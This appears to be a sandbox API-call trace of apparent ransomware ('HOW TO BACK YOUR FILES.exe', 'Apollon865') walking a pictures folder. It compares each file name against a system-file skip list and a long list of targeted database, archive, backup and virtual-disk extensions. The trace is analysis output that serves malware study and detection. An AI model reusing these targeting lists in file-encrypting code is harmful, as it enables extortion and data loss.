	[0035.876] lstrcmpiW (lpString1="t.jpg", lpString2="fmpsl") returned 1
	[0035.876] lstrlenW (lpString="fol") returned 3
	[0035.876] lstrcmpiW (lpString1="jpg", lpString2="fol") returned 1
	[0035.876] lstrlenW (lpString="fp3") returned 3
	[0035.876] lstrcmpiW (lpString1="jpg", lpString2="fp3") returned 1
	[0035.876] lstrlenW (lpString="fp4") returned 3
	[0035.876] lstrcmpiW (lpString1="jpg", lpString2="fp4") returned 1
	[0035.876] lstrlenW (lpString="fp5") returned 3
	[0035.876] lstrcmpiW (lpString1="jpg", lpString2="fp5") returned 1
	[0035.876] lstrlenW (lpString="fp7") returned 3
	[0035.876] lstrcmpiW (lpString1="jpg", lpString2="fp7") returned 1
	[0035.876] lstrlenW (lpString="fpt") returned 3
	[0035.876] lstrcmpiW (lpString1="jpg", lpString2="fpt") returned 1
	[0035.876] lstrlenW (lpString="frm") returned 3
	[0035.876] lstrcmpiW (lpString1="jpg", lpString2="frm") returned 1
	[0035.876] lstrlenW (lpString="gdb") returned 3
	[0035.876] lstrcmpiW (lpString1="jpg", lpString2="gdb") returned 1
	[0035.876] lstrlenW (lpString="gdb") returned 3
	[0035.876] lstrcmpiW (lpString1="jpg", lpString2="gdb") returned 1
	[0035.876] lstrlenW (lpString="grdb") returned 4
	[0035.876] lstrcmpiW (lpString1=".jpg", lpString2="grdb") returned -1
	[0035.876] lstrlenW (lpString="gwi") returned 3
	[0035.876] lstrcmpiW (lpString1="jpg", lpString2="gwi") returned 1
	[0035.876] lstrlenW (lpString="hdb") returned 3
	[0035.876] lstrcmpiW (lpString1="jpg", lpString2="hdb") returned 1
	[0035.876] lstrlenW (lpString="his") returned 3
	[0035.876] lstrcmpiW (lpString1="jpg", lpString2="his") returned 1
	[0035.876] lstrlenW (lpString="ib") returned 2
	[0035.876] lstrcmpiW (lpString1="pg", lpString2="ib") returned 1
	[0035.876] lstrlenW (lpString="idb") returned 3
	[0035.876] lstrcmpiW (lpString1="jpg", lpString2="idb") returned 1
	[0035.877] lstrlenW (lpString="ihx") returned 3
	[0035.877] lstrcmpiW (lpString1="jpg", lpString2="ihx") returned 1
	[0035.877] lstrlenW (lpString="itdb") returned 4
	[0035.877] lstrcmpiW (lpString1=".jpg", lpString2="itdb") returned -1
	[0035.877] lstrlenW (lpString="itw") returned 3
	[0035.877] lstrcmpiW (lpString1="jpg", lpString2="itw") returned 1
	[0035.877] lstrlenW (lpString="jet") returned 3
	[0035.877] lstrcmpiW (lpString1="jpg", lpString2="jet") returned 1
	[0035.877] lstrlenW (lpString="jtx") returned 3
	[0035.877] lstrcmpiW (lpString1="jpg", lpString2="jtx") returned -1
	[0035.877] lstrlenW (lpString="kdb") returned 3
	[0035.877] lstrcmpiW (lpString1="jpg", lpString2="kdb") returned -1
	[0035.877] lstrlenW (lpString="kexi") returned 4
	[0035.877] lstrcmpiW (lpString1=".jpg", lpString2="kexi") returned -1
	[0035.877] lstrlenW (lpString="kexic") returned 5
	[0035.877] lstrcmpiW (lpString1="t.jpg", lpString2="kexic") returned 1
	[0035.877] lstrlenW (lpString="kexis") returned 5
	[0035.877] lstrcmpiW (lpString1="t.jpg", lpString2="kexis") returned 1
	[0035.877] lstrlenW (lpString="lgc") returned 3
	[0035.877] lstrcmpiW (lpString1="jpg", lpString2="lgc") returned -1
	[0035.877] lstrlenW (lpString="lwx") returned 3
	[0035.877] lstrcmpiW (lpString1="jpg", lpString2="lwx") returned -1
	[0035.877] lstrlenW (lpString="maf") returned 3
	[0035.877] lstrcmpiW (lpString1="jpg", lpString2="maf") returned -1
	[0035.877] lstrlenW (lpString="maq") returned 3
	[0035.877] lstrcmpiW (lpString1="jpg", lpString2="maq") returned -1
	[0035.877] lstrlenW (lpString="mar") returned 3
	[0035.877] lstrcmpiW (lpString1="jpg", lpString2="mar") returned -1
	[0035.877] lstrlenW (lpString="marshal") returned 7
	[0035.877] lstrcmpiW (lpString1="ert.jpg", lpString2="marshal") returned -1
	[0035.877] lstrlenW (lpString="mas") returned 3
	[0035.877] lstrcmpiW (lpString1="jpg", lpString2="mas") returned -1
	[0035.877] lstrlenW (lpString="mav") returned 3
	[0035.877] lstrcmpiW (lpString1="jpg", lpString2="mav") returned -1
	[0035.877] lstrlenW (lpString="maw") returned 3
	[0035.877] lstrcmpiW (lpString1="jpg", lpString2="maw") returned -1
	[0035.877] lstrlenW (lpString="mdbhtml") returned 7
	[0035.878] lstrcmpiW (lpString1="ert.jpg", lpString2="mdbhtml") returned -1
	[0035.878] lstrlenW (lpString="mdn") returned 3
	[0035.878] lstrcmpiW (lpString1="jpg", lpString2="mdn") returned -1
	[0035.878] lstrlenW (lpString="mdt") returned 3
	[0035.878] lstrcmpiW (lpString1="jpg", lpString2="mdt") returned -1
	[0035.878] lstrlenW (lpString="mfd") returned 3
	[0035.878] lstrcmpiW (lpString1="jpg", lpString2="mfd") returned -1
	[0035.878] lstrlenW (lpString="mpd") returned 3
	[0035.878] lstrcmpiW (lpString1="jpg", lpString2="mpd") returned -1
	[0035.878] lstrlenW (lpString="mrg") returned 3
	[0035.878] lstrcmpiW (lpString1="jpg", lpString2="mrg") returned -1
	[0035.878] lstrlenW (lpString="mud") returned 3
	[0035.878] lstrcmpiW (lpString1="jpg", lpString2="mud") returned -1
	[0035.878] lstrlenW (lpString="mwb") returned 3
	[0035.878] lstrcmpiW (lpString1="jpg", lpString2="mwb") returned -1
	[0035.878] lstrlenW (lpString="myd") returned 3
	[0035.878] lstrcmpiW (lpString1="jpg", lpString2="myd") returned -1
	[0035.878] lstrlenW (lpString="ndf") returned 3
	[0035.878] lstrcmpiW (lpString1="jpg", lpString2="ndf") returned -1
	[0035.878] lstrlenW (lpString="nnt") returned 3
	[0035.878] lstrcmpiW (lpString1="jpg", lpString2="nnt") returned -1
	[0035.878] lstrlenW (lpString="nrmlib") returned 6
	[0035.878] lstrcmpiW (lpString1="rt.jpg", lpString2="nrmlib") returned 1
	[0035.878] lstrlenW (lpString="ns2") returned 3
	[0035.878] lstrcmpiW (lpString1="jpg", lpString2="ns2") returned -1
	[0035.878] lstrlenW (lpString="ns3") returned 3
	[0035.878] lstrcmpiW (lpString1="jpg", lpString2="ns3") returned -1
	[0035.878] lstrlenW (lpString="ns4") returned 3
	[0035.878] lstrcmpiW (lpString1="jpg", lpString2="ns4") returned -1
	[0035.878] lstrlenW (lpString="nsf") returned 3
	[0035.878] lstrcmpiW (lpString1="jpg", lpString2="nsf") returned -1
	[0035.878] lstrlenW (lpString="nv") returned 2
	[0035.878] lstrcmpiW (lpString1="pg", lpString2="nv") returned 1
	[0035.878] lstrlenW (lpString="nv2") returned 3
	[0035.878] lstrcmpiW (lpString1="jpg", lpString2="nv2") returned -1
	[0035.878] lstrlenW (lpString="nwdb") returned 4
	[0035.878] lstrcmpiW (lpString1=".jpg", lpString2="nwdb") returned -1
	[0035.878] lstrlenW (lpString="nyf") returned 3
	[0035.879] lstrcmpiW (lpString1="jpg", lpString2="nyf") returned -1
	[0035.879] lstrlenW (lpString="odb") returned 3
	[0035.879] lstrcmpiW (lpString1="jpg", lpString2="odb") returned -1
	[0035.879] lstrlenW (lpString="odb") returned 3
	[0035.879] lstrcmpiW (lpString1="jpg", lpString2="odb") returned -1
	[0035.879] lstrlenW (lpString="oqy") returned 3
	[0035.879] lstrcmpiW (lpString1="jpg", lpString2="oqy") returned -1
	[0035.879] lstrlenW (lpString="ora") returned 3
	[0035.879] lstrcmpiW (lpString1="jpg", lpString2="ora") returned -1
	[0035.879] lstrlenW (lpString="orx") returned 3
	[0035.879] lstrcmpiW (lpString1="jpg", lpString2="orx") returned -1
	[0035.879] lstrlenW (lpString="owc") returned 3
	[0035.879] lstrcmpiW (lpString1="jpg", lpString2="owc") returned -1
	[0035.879] lstrlenW (lpString="p96") returned 3
	[0035.879] lstrcmpiW (lpString1="jpg", lpString2="p96") returned -1
	[0035.879] lstrlenW (lpString="p97") returned 3
	[0035.879] lstrcmpiW (lpString1="jpg", lpString2="p97") returned -1
	[0035.879] lstrlenW (lpString="pan") returned 3
	[0035.879] lstrcmpiW (lpString1="jpg", lpString2="pan") returned -1
	[0035.879] lstrlenW (lpString="pdb") returned 3
	[0035.879] lstrcmpiW (lpString1="jpg", lpString2="pdb") returned -1
	[0035.879] lstrlenW (lpString="pdm") returned 3
	[0035.879] lstrcmpiW (lpString1="jpg", lpString2="pdm") returned -1
	[0035.879] lstrlenW (lpString="pnz") returned 3
	[0035.879] lstrcmpiW (lpString1="jpg", lpString2="pnz") returned -1
	[0035.879] lstrlenW (lpString="qry") returned 3
	[0035.879] lstrcmpiW (lpString1="jpg", lpString2="qry") returned -1
	[0035.879] lstrlenW (lpString="qvd") returned 3
	[0035.879] lstrcmpiW (lpString1="jpg", lpString2="qvd") returned -1
	[0035.879] lstrlenW (lpString="rbf") returned 3
	[0035.879] lstrcmpiW (lpString1="jpg", lpString2="rbf") returned -1
	[0035.879] lstrlenW (lpString="rctd") returned 4
	[0035.879] lstrcmpiW (lpString1=".jpg", lpString2="rctd") returned -1
	[0035.879] lstrlenW (lpString="rod") returned 3
	[0035.879] lstrcmpiW (lpString1="jpg", lpString2="rod") returned -1
	[0035.879] lstrlenW (lpString="rodx") returned 4
	[0035.879] lstrcmpiW (lpString1=".jpg", lpString2="rodx") returned -1
	[0035.879] lstrlenW (lpString="rpd") returned 3
	[0035.879] lstrcmpiW (lpString1="jpg", lpString2="rpd") returned -1
	[0035.880] lstrlenW (lpString="rsd") returned 3
	[0035.880] lstrcmpiW (lpString1="jpg", lpString2="rsd") returned -1
	[0035.880] lstrlenW (lpString="sas7bdat") returned 8
	[0035.880] lstrcmpiW (lpString1="sert.jpg", lpString2="sas7bdat") returned 1
	[0035.880] lstrlenW (lpString="sbf") returned 3
	[0035.880] lstrcmpiW (lpString1="jpg", lpString2="sbf") returned -1
	[0035.880] lstrlenW (lpString="scx") returned 3
	[0035.880] lstrcmpiW (lpString1="jpg", lpString2="scx") returned -1
	[0035.880] lstrlenW (lpString="sdb") returned 3
	[0035.880] lstrcmpiW (lpString1="jpg", lpString2="sdb") returned -1
	[0035.880] lstrlenW (lpString="sdc") returned 3
	[0035.880] lstrcmpiW (lpString1="jpg", lpString2="sdc") returned -1
	[0035.880] lstrlenW (lpString="sdf") returned 3
	[0035.880] lstrcmpiW (lpString1="jpg", lpString2="sdf") returned -1
	[0035.880] lstrlenW (lpString="sis") returned 3
	[0035.880] lstrcmpiW (lpString1="jpg", lpString2="sis") returned -1
	[0035.880] lstrlenW (lpString="spq") returned 3
	[0035.880] lstrcmpiW (lpString1="jpg", lpString2="spq") returned -1
	[0035.880] lstrlenW (lpString="te") returned 2
	[0035.880] lstrcmpiW (lpString1="pg", lpString2="te") returned -1
	[0035.880] lstrlenW (lpString="teacher") returned 7
	[0035.880] lstrcmpiW (lpString1="ert.jpg", lpString2="teacher") returned -1
	[0035.880] lstrlenW (lpString="tmd") returned 3
	[0035.880] lstrcmpiW (lpString1="jpg", lpString2="tmd") returned -1
	[0035.880] lstrlenW (lpString="tps") returned 3
	[0035.880] lstrcmpiW (lpString1="jpg", lpString2="tps") returned -1
	[0035.880] lstrlenW (lpString="trc") returned 3
	[0035.880] lstrcmpiW (lpString1="jpg", lpString2="trc") returned -1
	[0035.880] lstrlenW (lpString="trc") returned 3
	[0035.880] lstrcmpiW (lpString1="jpg", lpString2="trc") returned -1
	[0035.880] lstrlenW (lpString="trm") returned 3
	[0035.880] lstrcmpiW (lpString1="jpg", lpString2="trm") returned -1
	[0035.880] lstrlenW (lpString="udb") returned 3
	[0035.880] lstrcmpiW (lpString1="jpg", lpString2="udb") returned -1
	[0035.880] lstrlenW (lpString="udl") returned 3
	[0035.886] lstrcmpiW (lpString1="jpg", lpString2="udl") returned -1
	[0035.886] lstrlenW (lpString="usr") returned 3
	[0035.886] lstrcmpiW (lpString1="jpg", lpString2="usr") returned -1
	[0035.886] lstrlenW (lpString="v12") returned 3
	[0035.886] lstrcmpiW (lpString1="jpg", lpString2="v12") returned -1
	[0035.886] lstrlenW (lpString="vis") returned 3
	[0035.886] lstrcmpiW (lpString1="jpg", lpString2="vis") returned -1
	[0035.887] lstrlenW (lpString="vpd") returned 3
	[0035.887] lstrcmpiW (lpString1="jpg", lpString2="vpd") returned -1
	[0035.887] lstrlenW (lpString="vvv") returned 3
	[0035.887] lstrcmpiW (lpString1="jpg", lpString2="vvv") returned -1
	[0035.887] lstrlenW (lpString="wdb") returned 3
	[0035.887] lstrcmpiW (lpString1="jpg", lpString2="wdb") returned -1
	[0035.887] lstrlenW (lpString="wmdb") returned 4
	[0035.887] lstrcmpiW (lpString1=".jpg", lpString2="wmdb") returned -1
	[0035.887] lstrlenW (lpString="wrk") returned 3
	[0035.887] lstrcmpiW (lpString1="jpg", lpString2="wrk") returned -1
	[0035.887] lstrlenW (lpString="xdb") returned 3
	[0035.887] lstrcmpiW (lpString1="jpg", lpString2="xdb") returned -1
	[0035.887] lstrlenW (lpString="xld") returned 3
	[0035.887] lstrcmpiW (lpString1="jpg", lpString2="xld") returned -1
	[0035.887] lstrlenW (lpString="xmlff") returned 5
	[0035.887] lstrcmpiW (lpString1="t.jpg", lpString2="xmlff") returned -1
	[0035.887] FindNextFileW (in: hFindFile=0x5ca210, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7beaaeb8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x460, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0035.887] lstrcmpiW (lpString1="desktop.ini", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0035.887] lstrcmpiW (lpString1="desktop.ini", lpString2="Apollon865.txt.exe") returned 1
	[0035.887] lstrcmpiW (lpString1="desktop.ini", lpString2=".") returned 1
	[0035.887] lstrcmpiW (lpString1="desktop.ini", lpString2="..") returned 1
	[0035.887] lstrcmpiW (lpString1="desktop.ini", lpString2="windows") returned -1
	[0035.887] lstrcmpiW (lpString1="desktop.ini", lpString2="bootmgr") returned 1
	[0035.887] lstrcmpiW (lpString1="desktop.ini", lpString2="temp") returned -1
	[0035.887] lstrcmpiW (lpString1="desktop.ini", lpString2="pagefile.sys") returned -1
	[0035.887] lstrcmpiW (lpString1="desktop.ini", lpString2="boot") returned 1
	[0035.887] lstrcmpiW (lpString1="desktop.ini", lpString2="ids.txt") returned -1
	[0035.887] lstrcmpiW (lpString1="desktop.ini", lpString2="ntuser.dat") returned -1
	[0035.887] lstrcmpiW (lpString1="desktop.ini", lpString2="perflogs") returned -1
	[0035.887] lstrcmpiW (lpString1="desktop.ini", lpString2="MSBuild") returned -1
	[0035.887] lstrlenW (lpString="desktop.ini") returned 11
	[0035.887] lstrlenW (lpString="C:\\Users\\Public\\Pictures\\Sample Pictures\\Desert.jpg") returned 51
	[0035.887] lstrcpyW (in: lpString1=0x2d3e5a2, lpString2="desktop.ini" | out: lpString1="desktop.ini") returned="desktop.ini"
	[0035.887] lstrlenW (lpString="desktop.ini") returned 11
	[0035.887] lstrlenW (lpString="Apollon865") returned 10
	[0035.887] lstrcmpiW (lpString1="esktop.ini", lpString2="Apollon865") returned 1
	[0035.887] lstrlenW (lpString=".dll") returned 4
	[0035.887] lstrcmpiW (lpString1="desktop.ini", lpString2=".dll") returned 1
	[0035.888] lstrlenW (lpString=".lnk") returned 4
	[0035.888] lstrcmpiW (lpString1="desktop.ini", lpString2=".lnk") returned 1
	[0035.888] lstrlenW (lpString=".ini") returned 4
	[0035.888] lstrcmpiW (lpString1="desktop.ini", lpString2=".ini") returned 1
	[0035.888] lstrlenW (lpString=".sys") returned 4
	[0035.888] lstrcmpiW (lpString1="desktop.ini", lpString2=".sys") returned 1
	[0035.888] lstrlenW (lpString="desktop.ini") returned 11
	[0035.888] lstrlenW (lpString="bak") returned 3
	[0035.888] lstrcmpiW (lpString1="ini", lpString2="bak") returned 1
	[0035.888] lstrlenW (lpString="ba_") returned 3
	[0035.888] lstrcmpiW (lpString1="ini", lpString2="ba_") returned 1
	[0035.888] lstrlenW (lpString="dbb") returned 3
	[0035.888] lstrcmpiW (lpString1="ini", lpString2="dbb") returned 1
	[0035.888] lstrlenW (lpString="vmdk") returned 4
	[0035.888] lstrcmpiW (lpString1=".ini", lpString2="vmdk") returned -1
	[0035.888] lstrlenW (lpString="rar") returned 3
	[0035.888] lstrcmpiW (lpString1="ini", lpString2="rar") returned -1
	[0035.888] lstrlenW (lpString="zip") returned 3
	[0035.888] lstrcmpiW (lpString1="ini", lpString2="zip") returned -1
	[0035.888] lstrlenW (lpString="tgz") returned 3
	[0035.888] lstrcmpiW (lpString1="ini", lpString2="tgz") returned -1
	[0035.888] lstrlenW (lpString="vbox") returned 4
	[0035.888] lstrcmpiW (lpString1=".ini", lpString2="vbox") returned -1
	[0035.888] lstrlenW (lpString="vdi") returned 3
	[0035.888] lstrcmpiW (lpString1="ini", lpString2="vdi") returned -1
	[0035.888] lstrlenW (lpString="vhd") returned 3
	[0035.888] lstrcmpiW (lpString1="ini", lpString2="vhd") returned -1
	[0035.888] lstrlenW (lpString="vhdx") returned 4
	[0035.888] lstrcmpiW (lpString1=".ini", lpString2="vhdx") returned -1
	[0035.888] lstrlenW (lpString="avhd") returned 4
	[0035.888] lstrcmpiW (lpString1=".ini", lpString2="avhd") returned -1
	[0035.888] lstrlenW (lpString="db") returned 2
	[0035.888] lstrcmpiW (lpString1="ni", lpString2="db") returned 1
	[0035.888] lstrlenW (lpString="db2") returned 3
	[0035.888] lstrcmpiW (lpString1="ini", lpString2="db2") returned 1
	[0035.888] lstrlenW (lpString="db3") returned 3
	[0035.888] lstrcmpiW (lpString1="ini", lpString2="db3") returned 1
	[0035.888] lstrlenW (lpString="dbf") returned 3
	[0035.888] lstrcmpiW (lpString1="ini", lpString2="dbf") returned 1
	[0035.888] lstrlenW (lpString="mdf") returned 3
	[0035.889] lstrcmpiW (lpString1="ini", lpString2="mdf") returned -1
	[0035.889] lstrlenW (lpString="mdb") returned 3
	[0035.889] lstrcmpiW (lpString1="ini", lpString2="mdb") returned -1
	[0035.889] lstrlenW (lpString="sql") returned 3
	[0035.889] lstrcmpiW (lpString1="ini", lpString2="sql") returned -1
	[0035.889] lstrlenW (lpString="sqlite") returned 6
	[0035.889] lstrcmpiW (lpString1="op.ini", lpString2="sqlite") returned -1
	[0035.889] lstrlenW (lpString="sqlite3") returned 7
	[0035.889] lstrcmpiW (lpString1="top.ini", lpString2="sqlite3") returned 1
	[0035.889] lstrlenW (lpString="sqlitedb") returned 8
	[0035.889] lstrcmpiW (lpString1="ktop.ini", lpString2="sqlitedb") returned -1
	[0035.889] lstrlenW (lpString="xml") returned 3
	[0035.889] lstrcmpiW (lpString1="ini", lpString2="xml") returned -1
	[0035.889] lstrlenW (lpString="$er") returned 3
	[0035.889] lstrcmpiW (lpString1="ini", lpString2="$er") returned 1
	[0035.889] lstrlenW (lpString="4dd") returned 3
	[0035.889] lstrcmpiW (lpString1="ini", lpString2="4dd") returned 1
	[0035.889] lstrlenW (lpString="4dl") returned 3
	[0035.889] lstrcmpiW (lpString1="ini", lpString2="4dl") returned 1
	[0035.889] lstrlenW (lpString="^^^") returned 3
	[0035.889] lstrcmpiW (lpString1="ini", lpString2="^^^") returned 1
	[0035.889] lstrlenW (lpString="abs") returned 3
	[0035.889] lstrcmpiW (lpString1="ini", lpString2="abs") returned 1
	[0035.889] lstrlenW (lpString="abx") returned 3
	[0035.889] lstrcmpiW (lpString1="ini", lpString2="abx") returned 1
	[0035.889] lstrlenW (lpString="accdb") returned 5
	[0035.889] lstrcmpiW (lpString1="p.ini", lpString2="accdb") returned 1
	[0035.889] lstrlenW (lpString="accdc") returned 5
	[0035.889] lstrcmpiW (lpString1="p.ini", lpString2="accdc") returned 1
	[0035.889] lstrlenW (lpString="accde") returned 5
	[0035.889] lstrcmpiW (lpString1="p.ini", lpString2="accde") returned 1
	[0035.889] lstrlenW (lpString="accdr") returned 5
	[0035.889] lstrcmpiW (lpString1="p.ini", lpString2="accdr") returned 1
	[0035.889] lstrlenW (lpString="accdt") returned 5
	[0035.889] lstrcmpiW (lpString1="p.ini", lpString2="accdt") returned 1
	[0035.889] lstrlenW (lpString="accdw") returned 5
	[0035.889] lstrcmpiW (lpString1="p.ini", lpString2="accdw") returned 1
	[0035.890] lstrlenW (lpString="accft") returned 5
	[0035.890] lstrcmpiW (lpString1="p.ini", lpString2="accft") returned 1
	[0035.890] lstrlenW (lpString="adb") returned 3
	[0035.890] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1
	[0035.890] lstrlenW (lpString="adb") returned 3
	[0035.890] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1
	[0035.890] lstrlenW (lpString="ade") returned 3
	[0035.890] lstrcmpiW (lpString1="ini", lpString2="ade") returned 1
	[0035.890] lstrlenW (lpString="adf") returned 3
	[0035.890] lstrcmpiW (lpString1="ini", lpString2="adf") returned 1
	[0035.890] lstrlenW (lpString="adn") returned 3
	[0035.890] lstrcmpiW (lpString1="ini", lpString2="adn") returned 1
	[0035.890] lstrlenW (lpString="adp") returned 3
	[0035.890] lstrcmpiW (lpString1="ini", lpString2="adp") returned 1
	[0035.890] lstrlenW (lpString="alf") returned 3
	[0035.890] lstrcmpiW (lpString1="ini", lpString2="alf") returned 1
	[0035.890] lstrlenW (lpString="ask") returned 3
	[0035.890] lstrcmpiW (lpString1="ini", lpString2="ask") returned 1
	[0035.890] lstrlenW (lpString="btr") returned 3
	[0035.890] lstrcmpiW (lpString1="ini", lpString2="btr") returned 1
	[0035.890] lstrlenW (lpString="cat") returned 3
	[0035.890] lstrcmpiW (lpString1="ini", lpString2="cat") returned 1
	[0035.890] lstrlenW (lpString="cdb") returned 3
	[0035.890] lstrcmpiW (lpString1="ini", lpString2="cdb") returned 1
	[0035.890] lstrlenW (lpString="ckp") returned 3
	[0035.890] lstrcmpiW (lpString1="ini", lpString2="ckp") returned 1
	[0035.890] lstrlenW (lpString="cma") returned 3
	[0035.890] lstrcmpiW (lpString1="ini", lpString2="cma") returned 1
	[0035.890] lstrlenW (lpString="cpd") returned 3
	[0035.890] lstrcmpiW (lpString1="ini", lpString2="cpd") returned 1
	[0035.890] lstrlenW (lpString="dacpac") returned 6
	[0035.890] lstrcmpiW (lpString1="op.ini", lpString2="dacpac") returned 1
	[0035.890] lstrlenW (lpString="dad") returned 3
	[0035.890] lstrcmpiW (lpString1="ini", lpString2="dad") returned 1
	[0035.890] lstrlenW (lpString="dadiagrams") returned 10
	[0035.890] lstrcmpiW (lpString1="esktop.ini", lpString2="dadiagrams") returned 1
	[0035.890] lstrlenW (lpString="daschema") returned 8
	[0035.890] lstrcmpiW (lpString1="ktop.ini", lpString2="daschema") returned 1
	[0035.890] lstrlenW (lpString="db-journal") returned 10
	[0035.891] lstrcmpiW (lpString1="esktop.ini", lpString2="db-journal") returned 1
	[0035.891] lstrlenW (lpString="db-shm") returned 6
	[0035.891] lstrcmpiW (lpString1="op.ini", lpString2="db-shm") returned 1
	[0035.891] lstrlenW (lpString="db-wal") returned 6
	[0035.891] lstrcmpiW (lpString1="op.ini", lpString2="db-wal") returned 1
	[0035.891] lstrlenW (lpString="dbc") returned 3
	[0035.891] lstrcmpiW (lpString1="ini", lpString2="dbc") returned 1
	[0035.891] lstrlenW (lpString="dbs") returned 3
	[0035.891] lstrcmpiW (lpString1="ini", lpString2="dbs") returned 1
	[0035.891] lstrlenW (lpString="dbt") returned 3
	[0035.891] lstrcmpiW (lpString1="ini", lpString2="dbt") returned 1
	[0035.891] lstrlenW (lpString="dbv") returned 3
	[0035.891] lstrcmpiW (lpString1="ini", lpString2="dbv") returned 1
	[0035.891] lstrlenW (lpString="dbx") returned 3
	[0035.891] lstrcmpiW (lpString1="ini", lpString2="dbx") returned 1
	[0035.891] lstrlenW (lpString="dcb") returned 3
	[0035.891] lstrcmpiW (lpString1="ini", lpString2="dcb") returned 1
	[0035.891] lstrlenW (lpString="dct") returned 3
	[0035.891] lstrcmpiW (lpString1="ini", lpString2="dct") returned 1
	[0035.891] lstrlenW (lpString="dcx") returned 3
	[0035.891] lstrcmpiW (lpString1="ini", lpString2="dcx") returned 1
	[0035.891] lstrlenW (lpString="ddl") returned 3
	[0035.891] lstrcmpiW (lpString1="ini", lpString2="ddl") returned 1
	[0035.891] lstrlenW (lpString="dlis") returned 4
	[0035.891] lstrcmpiW (lpString1=".ini", lpString2="dlis") returned -1
	[0035.891] lstrlenW (lpString="dp1") returned 3
	[0035.891] lstrcmpiW (lpString1="ini", lpString2="dp1") returned 1
	[0035.891] lstrlenW (lpString="dqy") returned 3
	[0035.891] lstrcmpiW (lpString1="ini", lpString2="dqy") returned 1
	[0035.891] lstrlenW (lpString="dsk") returned 3
	[0035.891] lstrcmpiW (lpString1="ini", lpString2="dsk") returned 1
	[0035.891] lstrlenW (lpString="dsn") returned 3
	[0035.891] lstrcmpiW (lpString1="ini", lpString2="dsn") returned 1
	[0035.891] lstrlenW (lpString="dtsx") returned 4
	[0035.891] lstrcmpiW (lpString1=".ini", lpString2="dtsx") returned -1
	[0035.891] lstrlenW (lpString="dxl") returned 3
	[0035.891] lstrcmpiW (lpString1="ini", lpString2="dxl") returned 1
	[0035.891] lstrlenW (lpString="eco") returned 3
	[0035.891] lstrcmpiW (lpString1="ini", lpString2="eco") returned 1
	[0035.892] lstrlenW (lpString="ecx") returned 3
	[0035.892] lstrcmpiW (lpString1="ini", lpString2="ecx") returned 1
	[0035.892] lstrlenW (lpString="edb") returned 3
	[0035.892] lstrcmpiW (lpString1="ini", lpString2="edb") returned 1
	[0035.892] lstrlenW (lpString="epim") returned 4
	[0035.892] lstrcmpiW (lpString1=".ini", lpString2="epim") returned -1
	[0035.892] lstrlenW (lpString="fcd") returned 3
	[0035.892] lstrcmpiW (lpString1="ini", lpString2="fcd") returned 1
	[0035.892] lstrlenW (lpString="fdb") returned 3
	[0035.892] lstrcmpiW (lpString1="ini", lpString2="fdb") returned 1
	[0035.892] lstrlenW (lpString="fic") returned 3
	[0035.892] lstrcmpiW (lpString1="ini", lpString2="fic") returned 1
	[0035.892] lstrlenW (lpString="flexolibrary") returned 12
	[0035.892] lstrlenW (lpString="fm5") returned 3
	[0035.892] lstrcmpiW (lpString1="ini", lpString2="fm5") returned 1
	[0035.892] lstrlenW (lpString="fmp") returned 3
	[0035.892] lstrcmpiW (lpString1="ini", lpString2="fmp") returned 1
	[0035.892] lstrlenW (lpString="fmp12") returned 5
	[0035.892] lstrcmpiW (lpString1="p.ini", lpString2="fmp12") returned 1
	[0035.892] lstrlenW (lpString="fmpsl") returned 5
	[0035.892] lstrcmpiW (lpString1="p.ini", lpString2="fmpsl") returned 1
	[0035.892] lstrlenW (lpString="fol") returned 3
	[0035.892] lstrcmpiW (lpString1="ini", lpString2="fol") returned 1
	[0035.892] lstrlenW (lpString="fp3") returned 3
	[0035.892] lstrcmpiW (lpString1="ini", lpString2="fp3") returned 1
	[0035.892] lstrlenW (lpString="fp4") returned 3
	[0035.892] lstrcmpiW (lpString1="ini", lpString2="fp4") returned 1
	[0035.892] lstrlenW (lpString="fp5") returned 3
	[0035.892] lstrcmpiW (lpString1="ini", lpString2="fp5") returned 1
	[0035.892] lstrlenW (lpString="fp7") returned 3
	[0035.892] lstrcmpiW (lpString1="ini", lpString2="fp7") returned 1
	[0035.892] lstrlenW (lpString="fpt") returned 3
	[0035.892] lstrcmpiW (lpString1="ini", lpString2="fpt") returned 1
	[0035.892] lstrlenW (lpString="frm") returned 3
	[0035.892] lstrcmpiW (lpString1="ini", lpString2="frm") returned 1
	[0035.892] lstrlenW (lpString="gdb") returned 3
	[0035.892] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1
	[0035.892] lstrlenW (lpString="gdb") returned 3
	[0035.892] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1
	[0035.892] lstrlenW (lpString="grdb") returned 4
	[0035.893] lstrcmpiW (lpString1=".ini", lpString2="grdb") returned -1
	[0035.893] lstrlenW (lpString="gwi") returned 3
	[0035.893] lstrcmpiW (lpString1="ini", lpString2="gwi") returned 1
	[0035.893] lstrlenW (lpString="hdb") returned 3
	[0035.893] lstrcmpiW (lpString1="ini", lpString2="hdb") returned 1
	[0035.893] lstrlenW (lpString="his") returned 3
	[0035.893] lstrcmpiW (lpString1="ini", lpString2="his") returned 1
	[0035.893] lstrlenW (lpString="ib") returned 2
	[0035.893] lstrcmpiW (lpString1="ni", lpString2="ib") returned 1
	[0035.893] lstrlenW (lpString="idb") returned 3
	[0035.893] lstrcmpiW (lpString1="ini", lpString2="idb") returned 1
	[0035.893] lstrlenW (lpString="ihx") returned 3
	[0035.893] lstrcmpiW (lpString1="ini", lpString2="ihx") returned 1
	[0035.893] lstrlenW (lpString="itdb") returned 4
	[0035.893] lstrcmpiW (lpString1=".ini", lpString2="itdb") returned -1
	[0035.893] lstrlenW (lpString="itw") returned 3
	[0035.893] lstrcmpiW (lpString1="ini", lpString2="itw") returned -1
	[0035.893] lstrlenW (lpString="jet") returned 3
	[0035.893] lstrcmpiW (lpString1="ini", lpString2="jet") returned -1
	[0035.893] lstrlenW (lpString="jtx") returned 3
	[0035.893] lstrcmpiW (lpString1="ini", lpString2="jtx") returned -1
	[0035.893] lstrlenW (lpString="kdb") returned 3
